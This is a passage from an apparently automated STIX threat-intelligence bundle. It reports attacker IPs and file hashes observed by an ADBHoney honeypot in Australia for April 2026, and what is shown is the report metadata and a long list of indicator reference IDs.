{
  "id": "bundle--9be7d167-60d2-4783-9bf9-b5a1b57be118",
  "objects": [
    {
      "created": "2026-04-01T02:00:32.291Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view for April 2026 of IPv4 addresses and file hashes observed by ADBHoney on a T-Pot honeypot. Each run looks back the last 1h and appends newly seen indicators for this month. Location: Australia.",
      "id": "report--9be7d167-60d2-4783-9bf9-b5a1b57be118",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-04-30T22:00:01.893Z",
      "name": "ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
        "indicator--e9a19e95-ef7b-483a-942b-7b373f9229d2",
        "indicator--718fa647-b5a3-4d4f-abe0-b6e393888c1b",
        "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
        "indicator--7bcc0851-7b04-442f-9015-ceca99b8ac3b",
        "indicator--60ca3075-f812-4be6-bc0a-910057cbd2b7",
        "indicator--f1c04873-7208-4f7a-8d22-ad5028350d27",
        "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
        "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
        "indicator--e3fdae8f-0082-419a-98c6-ac5528695661",
        "indicator--d1a2b8f0-55a3-4f22-b2b8-4ff30c3ef83d",
        "indicator--11d2cd60-b535-4655-b037-0d94547c6a66",
        "indicator--e013f9ff-e3d6-4b4c-8725-5ebfe32157fb",
        "indicator--86ddce71-4ff0-4e77-b7c1-f97ec3bd39de",
        "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
        "indicator--23c078f3-4615-4c1c-a202-973bcf54353e",
        "indicator--46c7930b-81b7-42fa-b84a-a6848c768eed",
        "indicator--1b721697-f5c8-4f47-8d58-48e72ed8c152",
        "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--01e084d7-7717-4cf9-9573-8825a249c39b",
        "indicator--43ac1714-aca9-44d7-8067-eb7227fd4628",
        "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
        "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
        "indicator--00920327-b599-428c-a027-56ed02955d99",
        "indicator--f8d0a829-2119-4400-b63c-3cca8b6ef1b9",
        "indicator--02cf6d9b-3063-4d41-a649-36d3b39d14b9",
        "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
        "indicator--b80fa719-8478-4ae7-8a19-ac2d8808a135",
        "indicator--73e04678-7410-4884-8d9a-3d7762d04248",
        "indicator--9c57c4b2-52d6-4648-a40c-80c6e4711d28",
        "indicator--5910656c-5a4c-4520-ae31-099fef345838",
        "indicator--3fec6bba-f16c-4a7f-be2b-17eb21651b85",
        "indicator--e62324f0-7c38-4303-a9c7-efca83003bc1",
        "indicator--7f0f7c5e-f498-48c3-b648-362c7bdca686",
        "indicator--5f5e9c9b-6103-4749-b1a0-da4f9f6f6018",
        "indicator--f500ed55-b269-49c2-b6cd-a3da3dbe1e94",
        "indicator--98eebc70-c84e-4c67-ade2-797cacf87e09",
        "indicator--ec8a9e41-9f45-4cfc-b1b7-681ec3d15860",
        "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
        "indicator--6c488697-7fb8-498d-b8c6-7cd8036b3d88",
        "indicator--4fc4c0b5-6540-4094-936f-fa19fc991766",
        "indicator--5c86c357-bbb8-4ee7-a25f-ad4d43a4ab0a",
        "indicator--1db3dfd9-a8bc-4d2e-b505-5244f1ffea47",
        "indicator--0277b64d-f8d7-4eaf-bb1f-c85df2fdfcdc",
        "indicator--0e412c0b-5566-476b-b33a-da4f3ec0d561",
        "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
        "indicator--1f031635-81e1-4b84-9a1e-233fceb01591",
        "indicator--afb05af6-361f-48ce-a0c9-7e800aa28a13",
        "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
        "indicator--f6f506dc-1f89-441d-b213-dac00f6f8c12",
        "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--7778318d-9605-473d-a37d-0d8aa916f2c2",
        "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
        "indicator--e52c6bf1-7999-4f45-a372-e1d966f7db65",
        "indicator--89892f13-9238-4e1d-a526-87712c1f7e9d",
        "indicator--86714b6a-2bd8-4d2c-b1bd-14b75bae4aa8",
        "indicator--5c5c9721-40ce-4e9e-8254-7827fae81c0e",
        "indicator--6b1b68f3-1dad-4432-ab40-fc197fd238b4",
        "indicator--5712368c-7118-45f0-9b3c-87aaa9be8f49",
        "indicator--f49b9ed3-98d7-4ad7-a5a0-7fb552a5ce25",
        "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
        "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
        "indicator--2bc5b502-9918-4d45-8a93-147adcc4ec2e",
        "indicator--4b7dd748-09b4-4577-9bab-5ffe3fa62ac8",
        "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
        "indicator--a2a9b329-b861-4dc8-9c90-0105fea7948c",
        "indicator--36209a42-f298-45b7-83bb-9d54cdf4a56b",
        "indicator--af73cc57-59ed-40a7-8fd4-c2a85fd31780",
        "indicator--a177e8d8-f9e5-4456-8e68-ca2aa6fa2e31",
        "indicator--65945178-fa35-4772-8b44-31f7c6b4b3a8",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--b68acf7d-903e-4036-aa8b-cb595e80bbfd",
        "indicator--d3d6ad5d-4233-4b49-ad2c-87e5a2d861ae",
        "indicator--938bafde-7771-458b-9129-c9a5db02a5c6",
        "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
        "indicator--56416f9c-057a-47bc-a434-b96a0bf990c6",
        "indicator--703aa8b3-5ad9-4577-9650-792a714f8a83",
        "indicator--0f8ca808-05b2-4a73-bae1-2f2027e9b18b",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--7a163de1-78da-4600-93de-af279289e45c",
        "indicator--3c30516d-4ca4-4445-b391-3ccf744cc5f8",
        "indicator--28d9bfac-a04a-43ed-9332-f5ca6862c76f",
        "indicator--f5a06fcc-bba3-4b3d-a529-d4720a9c6fab",
        "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
        "indicator--6e69138a-5438-4adb-a1b3-f468d63c522e",
        "indicator--480a475a-d857-4e93-ba88-8a306114bb42",
        "indicator--e290801c-0ccd-4690-9d4e-52aecadc30a0",
        "indicator--3e9e31f2-70de-4871-b3c9-aa353b90a94b",
        "indicator--6f45be96-4fc2-4ac3-b474-b92d4e904f04",
        "indicator--4f54ebdf-f5b3-420e-a9dc-c3e4417f2237",
        "indicator--2425133d-2c5b-444b-81db-17e14f4f7cff",
        "indicator--2b9085a3-e1f0-4002-b4c5-a6f9bb2a8c3f",
        "indicator--90c50517-8f8f-4ebe-a66a-ee7ce04bad1a",
        "indicator--5fb12140-4bd4-46d7-9f1d-5da32c3a9c08",
        "indicator--f394d4d2-9d31-4344-9f89-edead4510e21",
        "indicator--f9b2b922-931e-4bee-9929-b7e4b03517ea",
        "indicator--fddfd419-3099-4ad4-a83b-56fe69f06250",
        "indicator--e8747502-9f89-40cb-bcc7-4736c97684fb",
        "indicator--b2f7d184-9fba-4bc3-b183-a80eeebdbf16",
        "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
        "indicator--d02197a9-0f0d-4a6f-a1de-32da06f9cdaf",
        "indicator--772f2b4a-df22-4235-b5c3-393867a52630",
        "indicator--24bc892a-b892-4c35-b724-12fbe35554b5",
        "indicator--742181d2-7486-4bcd-bbaf-4e4f6ad38c30",
        "indicator--7f942ca5-bb66-4627-a698-3522c0ae9bda",
        "indicator--40a6e696-3438-4f97-bc99-54ca290f243a",
        "indicator--94004772-2939-490e-a856-307b8ddc929e",
        "indicator--f0a2b573-95a3-4823-b7cc-0718d01533e0",
        "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
        "indicator--c4196c63-6629-471c-bd00-15c538eb6f50",
        "indicator--6a4173a0-1e4a-4dbd-85ca-fc24eb67cda3",
        "indicator--0596e4a9-6ce7-444c-8c25-40c540e990ee",
        "indicator--f4377c5a-1ccf-4c5a-ab88-24b05a88a417",
        "indicator--43c87f48-ab77-4b7c-b809-461fc5198637",
        "indicator--5d1dc2c3-cb8f-4ce9-ae20-ac0b4f09d187",
        "indicator--a0346465-7bff-4645-acaf-df21e01a9abb",
        "indicator--fbcef2b6-2452-4585-af2b-113b47647699",
        "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
        "indicator--58822a82-84ea-470b-a2d8-1dcacdfb2689",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--3c7ce530-7b3d-4608-9886-5c93f240720d",
        "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
        "indicator--af51f86d-0d3a-43f0-aa5b-aadecc547e79",
        "indicator--b4f85266-4526-4333-ae56-a9a61a0a44c0",
        "indicator--9b82bd59-422e-4e09-9d96-478b29350c17",
        "indicator--95249dee-4233-4894-bdf4-e59028998d06",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--3cc516e0-4155-4360-8b71-d0adb254a6b5",
        "indicator--3982f70e-0eb1-4eb0-9975-b51d5fa5cfce",
        "indicator--8864c8f4-b22c-42d2-88b4-c75e8660232f",
        "indicator--e31cf679-f499-41c4-a227-75497e4dd1c3",
        "indicator--0ba46c9e-255c-4901-bc97-c3f97474d2ba",
        "indicator--24c5345e-9948-4aaa-ab22-3d1d601838af",
        "indicator--331267fa-c56d-4819-bd01-e2f37639f311",
        "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
        "indicator--1d64f2de-6753-48e7-a4bd-f4c3ff1e9a1a",
        "indicator--d643fea8-d916-4abb-a4cd-eb225db1195f",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--a9b407ca-f156-4e95-a603-53a3fdcdb7d2",
        "indicator--e71122be-89e0-4b06-8d01-a2a66b22771e",
        "indicator--09ab2281-a8fb-45f5-b3a3-85a11ad8c723",
        "indicator--45f68784-5da8-444d-a291-aaef09f58523",
        "indicator--938da464-7043-4aef-afe9-a87f4b4e4b96",
        "indicator--1dca32d0-c08c-40aa-ac31-c829f08aaf1e",
        "indicator--1fe3e267-88bc-4249-9b9c-f52de94f24bb",
        "indicator--30b44f96-7229-40be-a808-2ff3d85963e4",
        "indicator--d5709c13-87ae-49a9-bd62-5561784b027e",
        "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
        "indicator--7c4d6d9d-3688-4533-b932-bce66270d417",
        "indicator--c28643e9-25aa-4d57-8a52-89ed858c4b87",
        "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
        "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
        "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
        "indicator--464f4742-f22b-4144-bc09-e4370612fdfb",
        "indicator--0b87c70e-8b3a-4b46-a803-62a8d42a16a0",
        "indicator--12caddfb-3ac8-4e82-bed8-9cf25b743691",
        "indicator--f1360d9a-2e67-459a-83ca-5319a629870e",
        "indicator--a0fdea8d-ae1a-4ee5-902a-3492d3efa4d7",
        "indicator--49efaa0e-eedd-41cf-a1fd-c73678a31caa",
        "indicator--6137c8ec-9a07-4c8a-827a-40e2054451e2",
        "indicator--f76602dd-737f-4dbe-b306-fe2c9993371d",
        "indicator--822aa622-5b0d-474e-9d80-09526ec4d9d1",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--a2af4215-2f46-4af6-91ad-4fb51766296f",
        "indicator--5f119812-6e46-4362-ad7f-4fefb3c39296",
        "indicator--c1738ff5-b026-415c-b66c-db8645276fb5",
        "indicator--ca56a275-6f35-4918-aa44-261d4137e7fb",
        "indicator--9b55e310-be37-457f-97d5-7f953f4ded65",
        "indicator--bb7a146f-a716-4e5d-9a83-942407f1b52e",
        "indicator--c2c8f2a0-f6ba-48c2-b572-b86d482798ca",
        "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
        "indicator--153b12f1-4773-4e55-a983-29ed38bd4bb4",
        "indicator--6c87482a-1253-4e10-b07d-604b1804e11b",
        "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
        "indicator--51a5b8c7-515e-4015-80b2-597f4f0bc474",
        "indicator--91c33545-a660-4eba-b4b4-5f66f647541e",
        "indicator--745dadad-83f4-4f12-ace7-2f2883db5e6c",
        "indicator--15891713-f23c-4519-99e1-ea2e0e4c92bf",
        "indicator--e535f5b3-e914-4e36-8368-17b7ded2a8cf",
        "indicator--840c2c01-483b-431f-a2f6-ecd84befd332",
        "indicator--8b816a1e-72c7-4149-aceb-958e934040b6",
        "indicator--496df9d6-b4d7-4d83-999a-0a3acc057f8f",
        "indicator--7457ae0b-66a9-4d54-ba5b-ef84ce2fb69b",
        "indicator--a6edf9c6-454f-407d-a767-432ec74d24c2",
        "indicator--a786ae83-5057-49fe-a551-7d025cd0beca",
        "indicator--3291bf69-1b54-4ea4-861a-30086e5d92b0",
        "indicator--40852715-1752-4b1e-865c-ac22648bb44a",
        "indicator--511d0518-7988-4840-8feb-228d67ac4db3",
        "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
        "indicator--873a472a-66af-413d-bba9-19006cdc7e1a",
        "indicator--4719d2b6-f3b4-458d-a225-6ab129d9845d",
        "indicator--b0314646-e494-42eb-8392-8b29565f5b59",
        "indicator--44c21716-38dd-44a3-9ca5-621bee22e003",
        "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
        "indicator--d75d2439-385f-4742-b08e-53e2e92237af",
        "indicator--978e3f64-5448-4a7e-88e2-3a1182e1dbbc",
        "indicator--737c106f-7a09-4030-83f6-355f93f8a007",
        "indicator--6f940ec5-d0b3-4745-834d-5fb28359b3b9",
        "indicator--45bf0c9d-0c39-4325-a057-0a3622a66e2f",
        "indicator--6c7cbec4-3d4b-4820-8c3b-807674fefd6c",
        "indicator--927c71fa-5629-4312-91e4-b2f1587e1208",
        "indicator--7c5b4d13-1787-4c2c-ad73-4ef8243291f8",
        "indicator--3c84c70e-fe79-4a9b-adb5-2965d371247b",
        "indicator--bb1133d4-6a9e-4e8d-83e6-ca85b7ea9c05",
        "indicator--ffef4faf-b14c-4d97-8b03-2be20b56ebfc",
        "indicator--eccc8522-903b-40cf-a7cb-2071f3a9ee40",
        "indicator--3a25cc5c-2579-47f0-863c-e09a51443b38",
        "indicator--544e663a-c81c-4835-99ca-bb1dcc45405e",
        "indicator--17373842-6817-420a-ad66-7804d7f271cc",
        "indicator--f7961197-959d-4d61-ab17-ae4802bbe931",
        "indicator--44c07321-decd-4bd8-b860-9ba97d3dc250",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
        "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--994c145d-6db2-4d87-9843-2705166f152a",
        "indicator--2cb6684e-1546-4097-9fed-e00fffc690fa",
        "indicator--10757118-bf59-4ab4-8e3d-3cd83c60760d",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--d6880c82-ebff-4e43-be2b-5083853570bc",
        "indicator--e006939b-7b5f-4ed9-b81b-fafcaf71bbab",
        "indicator--647ce0ff-054b-42ef-aa14-1dc6e577f4a0",
        "indicator--aec4703c-a2fe-4bcc-a392-037e160523a1",
        "indicator--10f90ac3-ebce-4f0f-9269-c41b811cb534",
        "indicator--452f71b6-43bd-445d-8dba-e6bc498d97cf",
        "indicator--63634d93-c51e-490f-b4eb-b67438fe92e1",
        "indicator--7877096e-f6e8-4b75-a288-f0a832f57253",
        "indicator--bb71af1e-bad5-42ff-89ad-2f9fd41c8d10",
        "indicator--03a2f931-cbd4-4d0d-8413-e9a86a3702c3",
        "indicator--b8964f1a-d50c-4463-8f4e-c5f7b9aa77ef",
        "indicator--8dfd8de3-a4d6-4f2a-8997-93bd3d81e9a7",
        "indicator--032a4fb4-94e3-4e0d-9e91-52be0b81c35c",
        "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
        "indicator--b4f0bf8c-4447-4710-9bee-ed6c330c12a4",
        "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
        "indicator--c6fc1362-0c58-4ec2-a4bc-531e6bf90127",
        "indicator--c3ab4d2f-8fb5-4e15-b2d9-7e0c22d59a2b",
        "indicator--1f541896-28b8-41c6-8103-b9d038bbb5c5",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--0f79b94f-f376-442d-921d-bf52460dbae6",
        "indicator--d96b2451-dc76-4bb8-a9d9-1d363561c383",
        "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
        "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
        "indicator--3df70f94-9744-4e91-8992-bd2ca37f645b",
        "indicator--c6ec3839-ea98-492c-a8c0-31cfa3698212",
        "indicator--3b97a83f-70ab-4b60-b1d9-bd775ec22d92",
        "indicator--955566b9-721c-4931-9397-7de1dd2657cd",
        "indicator--a1346a1c-25ce-4a0f-ae6f-56da8de76aa1",
        "indicator--348edbb4-42d9-4e42-bdc3-b7b75e620d2a",
        "indicator--2168c7c6-71be-4829-9450-ae6ff7272536",
        "indicator--b909e6a3-a6b0-42cd-9e11-42b3bcede443",
        "indicator--9cf71a34-9f03-44a7-9927-9c1a819eaa81",
        "indicator--4dc916a4-6eb3-40d9-b3fa-8a8589abe71e",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--f6ccd924-01c7-4607-9c6a-98795f707f73",
        "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
        "indicator--5dff1f0c-d042-46e8-bed1-c04405ed8b37",
        "indicator--60400ccd-97cf-41c1-8a5f-28ab57d7510c",
        "indicator--3122564e-bc6c-45b1-b89d-22183accbf3c",
        "indicator--edfdc1d4-9a92-4aec-9931-e29d99110da7",
        "indicator--4cfbed3f-9213-4ff2-8772-f4306cb1f465",
        "indicator--10bf6269-9952-41e4-9dac-e48471ff347a",
        "indicator--6dd7b226-db37-4746-bed8-5f5927790146",
        "indicator--a7e2f7ff-f7e9-4a8c-bc91-83392a40804c",
        "indicator--5c32aec5-7d79-43ba-a826-c4d16cfb8b65",
        "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
        "indicator--89718350-4773-48ea-a1d2-54998a8d2a95",
        "indicator--11efbec3-1f6c-4a2b-bd0c-c5c57510e184",
        "indicator--5ce64ab9-8352-4bd9-b44f-0b846e23050a",
        "indicator--5ee9e7c8-3f27-4616-8ad0-47e6bfe4a06c",
        "indicator--3dce0f20-af57-4e1a-8c09-c63bf5b7534e",
        "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
        "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
        "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
        "indicator--e93786f4-8ba2-4a84-93ed-1411fa2f524a",
        "indicator--706340e9-c8db-466d-8673-c425783bf2d6",
        "indicator--9ace066e-964c-4f4e-bdc8-7f22f937ba67",
        "indicator--94504754-5b59-4f97-b470-da3fc60cf22e",
        "indicator--6c43afc9-b22f-4b0a-8a12-f844e37908e8",
        "indicator--3bb87bd1-abb3-4fd1-a8a6-54a00ca01be9",
        "indicator--3ed60c69-7899-41c1-b199-e11b8ccf0d3e",
        "indicator--cea414d3-bb30-4744-a8ce-dd0a2d118e87",
        "indicator--b3bd758b-a077-43da-92b0-924961c3d671",
        "indicator--270582ff-c6cb-4dde-8462-7c86c025c7e5",
        "indicator--29f9c37d-491d-4908-8d7c-adce9bdbe21a",
        "indicator--b1842f9c-a936-40bf-b939-4a2d11f9836e",
        "indicator--faff0d89-d7f4-4618-a59e-6d5f6165e333",
        "indicator--d74295a0-cd97-497b-ab8f-0e4e1ab768c5",
        "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
        "indicator--41b40bad-e626-472c-9c1a-d29e96ea908d",
        "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
        "indicator--af73086d-58a2-4793-82b4-26b1c636e538",
        "indicator--4f34cdaf-0cc2-4735-bf46-c632a8367189",
        "indicator--9ef53ae3-b91f-48f8-87c6-ae545a504a96",
        "indicator--2a19aa78-25fc-4a20-8972-15c002bc36bf",
        "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
        "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
        "indicator--12d7f974-280c-4506-acb8-9288395ef024",
        "indicator--c2468e40-de0f-4cfc-947e-7f844999c3e9",
        "indicator--e1f805e5-055e-4b75-adcc-fd1f03d06485",
        "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
        "indicator--bf31d6e3-1807-4d84-b630-d6fb19fff631",
        "indicator--4ec949e3-d491-484a-aeb7-1ae5e530fc6f",
        "indicator--01650c83-7fb3-44d4-9e4a-ceac46afb401",
        "indicator--798ecf59-f9ca-4ed2-aca9-618b7abc1643",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--04af1a07-9c6b-482c-83ce-5e3777719ca0",
        "indicator--21bfb205-4e23-40cd-bf43-4a0162f190b5",
        "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
        "indicator--2fb280b7-6cf9-49dd-be61-2a575626cfd6",
        "indicator--f298d76f-092d-46e4-adbc-8002a203abc9",
        "indicator--ba60e62a-8962-4dd7-8004-256a49f03adf",
        "indicator--1e0705c4-6baf-4dae-82f2-ce317fe49115",
        "indicator--b90e2630-c5d1-42e3-b2db-758804375546",
        "indicator--62fce6d3-e27c-4f9f-b5d4-c2e484a51d05",
        "indicator--414fba13-58a7-4640-a0ea-3453d8bc93e2",
        "indicator--e105b5ac-7af6-482a-97d2-6a1a84558ed0",
        "indicator--f6e68fde-6d45-4c58-b555-5a0d6ad7b1c6",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--5a987a21-1083-413e-a1e9-ba2fd55b437f",
        "indicator--9bf81fbe-6876-42de-a029-e3bdcfbc7891",
        "indicator--ec2c66f5-2c31-4727-b04a-45d0bf65c222",
        "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
        "indicator--b6abe94f-21c1-4d8a-b113-2576809c0859",
        "indicator--f7602fcc-fe52-4859-acb1-882b84f77da9",
        "indicator--2492ddc6-54b6-4030-8a0c-e4ece246253b",
        "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
        "indicator--8e36a05a-84ea-4f11-bf68-3ceb2722544d",
        "indicator--ad67230f-6129-4276-ba94-38d24a6d1296",
        "indicator--991a8d5d-91ca-47f5-9a54-da2b2c1e1dc4",
        "indicator--701ee991-4936-475b-b052-c2f024c5923c",
        "indicator--93a04f41-0546-4637-b977-ed710917fcc3",
        "indicator--0381d58a-c5ef-486d-a139-cc1c9f53ba93",
        "indicator--872873d5-53be-4191-9687-cacb37342f62",
        "indicator--cefa8ced-6672-4a0d-93c1-e3f250f8169b",
        "indicator--d93b352e-3ee8-4040-9fc4-b208f99b1032",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--e8a87f31-eec8-4e83-a1d8-d282e0a5b805",
        "indicator--a91b484f-8794-4520-89e1-61c89d4ef509",
        "indicator--aa71558f-5289-4d90-912b-dd662d667064",
        "indicator--f1a5f5dd-fc04-479a-86a8-ebb10d6542a0",
        "indicator--3e4d4c7b-d52b-46e0-99db-348537cf9ec6",
        "indicator--e0ed31d9-35f8-4d21-88ef-cd04f8fd8265",
        "indicator--00c7d521-1a7b-4af5-854d-8275409a22cf",
        "indicator--7b655548-a3a8-4b42-bcd1-cda6259b2e05",
        "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
        "indicator--7be4f4c7-61ad-4de8-b410-abb7ad948a90",
        "indicator--f6c7b444-5c66-4a45-9dd1-ce918358dc49",
        "indicator--2d31c709-bd55-4ac1-aae0-6b51b8d1487f",
        "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
        "indicator--9620fbc4-d0fb-4d74-be4e-8b8fd482a337",
        "indicator--58d736bb-b41e-408c-b6a2-a576e520fd37",
        "indicator--4bc4bad6-26a7-483a-88a2-fbc0990e9146",
        "indicator--4b4cf7f8-0ffa-433d-944c-02174ac6a816",
        "indicator--fbb7ef75-7c04-4a05-b6b0-8be6ad31697b",
        "indicator--89d731e1-6032-4eaa-be30-63561dc64531",
        "indicator--7d195c17-0554-45ef-99b5-36358eaeabdb",
        "indicator--ba1b5491-87c4-4750-bac4-c7e775e3dd0d",
        "indicator--649f2fb1-7666-4e9e-88d2-4a45ccda4d9e",
        "indicator--e176dca2-d935-4149-b8c1-f197d28f9de4",
        "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
        "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
        "indicator--d6b1f5be-649c-4447-bd50-0972e9e48cfe",
        "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
        "indicator--b40c0293-df19-48d3-82d3-33c6364e3aa5",
        "indicator--12d68a60-660c-42f0-9750-44d18e64947d",
        "indicator--3c53fbe9-1865-4a39-a504-08a93ca9a815",
        "indicator--a95b49f1-3358-4bf4-956e-d57fbaa0015f",
        "indicator--586272f0-025b-49b0-9d11-9fe0ed6878f8",
        "indicator--8a2284d6-65ad-4811-bb17-e56f2b0f099b",
        "indicator--daaa072c-2690-4e9f-b8eb-1577adca143a",
        "indicator--e858a380-d8e1-42b5-bd19-362861eec668",
        "indicator--feb849e6-ffd7-44e1-a71c-cd10971cd278",
        "indicator--95950255-55dd-4246-bdeb-668179cae4fe",
        "indicator--3d72a0fa-a0a3-413f-ba3f-aa17e2596e99",
        "indicator--8c9301c8-2810-47d4-af81-1fc471ef013f",
        "indicator--c28a397b-312e-4133-be1a-21728ed2ea3b",
        "indicator--612e890d-eb3b-413b-8877-55f2e291535a",
        "indicator--17e69e09-2666-4491-99dd-5038e3f1d08b",
        "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
        "indicator--50817065-dda8-41f0-be84-79fb96ab73f6",
        "indicator--eefe1626-4c20-4690-8979-4b0405dc99d7",
        "indicator--e2f88cc4-8232-42c1-889f-a9d9986e3f53",
        "indicator--237807f3-b4b2-47d9-8010-35b3c7b6f284",
        "indicator--ca7df7cf-24eb-44d2-b48e-ca5d229b42e0",
        "indicator--fecbfff0-36ee-44e6-aada-8afc86a62e62",
        "indicator--45026b27-e49c-46e5-8459-403e0b4ded73",
        "indicator--83dcd20b-4689-4a97-b790-c7bb86358e2c",
        "indicator--9bd304d1-7c0f-4366-80f3-8a99784f358b",
        "indicator--d4f8b56f-11e9-4e87-8100-2dae937b1f48",
        "indicator--e7b6c64f-5775-4151-9835-87cede4c9fe8",
        "indicator--a4748ca1-4287-4663-8982-07600826c3a4",
        "indicator--0d9701dc-0139-45a6-8e78-1c60fb7268ae",
        "indicator--605383a3-fd0d-42e9-97d9-b8625dcf9deb",
        "indicator--c5e8666e-670f-48a6-b7b1-96b9b3b96fe1",
        "indicator--1175ae03-1c35-439d-a0e8-9fa640eb6a79",
        "indicator--7a3e261b-ec71-4751-b3e5-fcfc11a3b518",
        "indicator--f97165fa-d4a2-4965-9109-ae98f2001817",
        "indicator--3c86b5e8-a474-4d02-90d8-2233e59bede2",
        "indicator--64947df5-cb32-4e13-a069-8991e9486466",
        "indicator--693c4ac3-421a-49ab-a364-5dc570d9eca9",
        "indicator--137a961f-6999-4529-a951-236537f1e016",
        "indicator--d8bbb4ff-444f-4d8b-b36d-e630aff2d230",
        "indicator--960bd210-1721-4d75-a3a4-a919913b8c76",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--d503cb0e-a289-4d14-b93a-416b14ab7148",
        "indicator--52a4baa1-0b67-45cc-996b-4cf8dada4dc6",
        "indicator--d5fed620-7589-4e61-9956-ae62e8465df1",
        "indicator--13964f0d-f2f6-4700-bb55-437cad9153a1",
        "indicator--900123a4-9e83-4291-97e2-8cd2d742a47e",
        "indicator--3f6e83ad-ecaa-49cf-906d-879c73875405",
        "indicator--9407f484-e2a5-44bc-b10b-cf5334220d59",
        "indicator--75342a3d-5cbf-41ad-8507-544df3c7b521",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--cf0d019c-4b45-49af-aa57-c766e1992060",
        "indicator--a9b0e37d-1524-4d4d-99b8-310883f2efb2",
        "indicator--6e6fcca8-8801-48c8-8592-e27cf6da3701",
        "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
        "indicator--6b6f38d7-1b69-49ae-b9c3-13a20fe3b217",
        "indicator--d582ca9c-0afd-4f9a-a041-078135f0c5c2",
        "indicator--899f696d-5970-448e-a1e6-103e497b6974",
        "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
        "indicator--f80502d2-2c53-4b34-9919-81292dc23369",
        "indicator--58751436-2dd3-4611-8118-df7b400ca2c4",
